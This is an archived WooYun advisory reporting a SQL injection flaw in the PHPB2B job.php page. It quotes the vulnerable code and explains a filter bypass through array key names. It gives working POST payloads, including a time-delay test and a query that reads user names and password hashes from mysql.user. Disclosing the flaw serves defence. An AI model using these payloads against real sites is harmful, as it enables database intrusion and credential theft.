当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096444

漏洞标题:PHPB2B网站管理系统SQL注入漏洞(无视防注入)

相关厂商:phpb2b.com

漏洞作者: error

提交时间:2015-02-16 13:22

修复时间:2015-04-02 10:23

公开时间:2015-04-02 10:23

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-16: 细节已通知厂商并且等待厂商处理中
2015-03-03: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-04-27: 细节向核心白帽子及相关领域专家公开
2015-05-07: 细节向普通白帽子公开
2015-05-17: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

RT

详细说明:

注入链接:/virtual-office/job.php
注入参数:job
漏洞代码:(第52行开始)
if (!empty($_POST['job']) && $_POST['save']) {
$vals = $_POST['job'];
pb_submit_check('job'); // 验证post提交的token,可直接使用get访问job.php后在网页源码中搜索formhash获取
$now_job_amount = $job->findCount(null, "created>".$today_start." AND member_id=".$the_memberid);
if (isset($_POST['id'])) {
$id = $_POST['id'];
}
if(!empty($_POST['expire_time'])) {
$vals['expire_time'] = Times::dateConvert($_POST['expire_time']);
}
$check_job_update = $g['job_check'];
if ($check_job_update=="0") {
$vals['status'] = 1;
$message_info = 'msg_wait_success';
}else {
$vals['status'] = 0;
$message_info = 'msg_wait_check';
}
$vals['industry_id'] = PbController::getMultiId($_POST['industry']['id']);
$vals['area_id'] = PbController::getMultiId($_POST['area']['id']);
if(!empty($id)){
$vals['modified'] = $time_stamp;
unset($vals['created']);
$result = $job->save($vals, "update", $id, null, "member_id=".$the_memberid);
$vals = $_POST['job'];从post中获取job数组参数,并将$vals数组传入save函数,save函数中通过以下以下代码构造SQL语句:(libraries/core/model.php)
$keys = array_keys($posts);
$cols = implode($keys,",");
$tbname = (is_null($tbname))? $this->getTable():trim($tbname);
$this->table_name = $tbname;
if(!empty($id)){
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";
在save函数中$vals数组的键名会被拆分为select语句的列名列表$cols,由于$vals可控导致sql注入,且是数组键名,因此可绕过代码中的注入检测

漏洞证明:

漏洞测试:
首先直接访问:http://127.0.0.1/phpb2b/virtual-office/job.php查看网页源代码获取页面token
<input type="hidden" name="formhash" value="8ab96122454d5f50" id="FormHash">

1.png


获取token后就可以进行SQL注入
http://127.0.0.1/phpb2b/virtual-office/job.php
Post:
job[if((length(user())>61),1,sleep(5))%23]=1&save=1&id=1&formhash=8ab96122454d5f50
为了方便调试,在代码里把执行的SQL语句打印出来

2.png


Mysql日志:

3.png


成功执行延时注入
可无视SQL注入检测,执行SQL语句
http://127.0.0.1/phpb2b/virtual-office/job.php
Post:
job[host,user,password/**/from/**/mysql.user/**/where/**/1>0/**/limit/**/0,1%23]=1&save=1&id=1&formhash=8ab96122454d5f50

4.png


Mysql日志:

5.png

修复方案:

inject checking on column_name

版权声明:转载请注明来源 error@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

最新状态:

暂无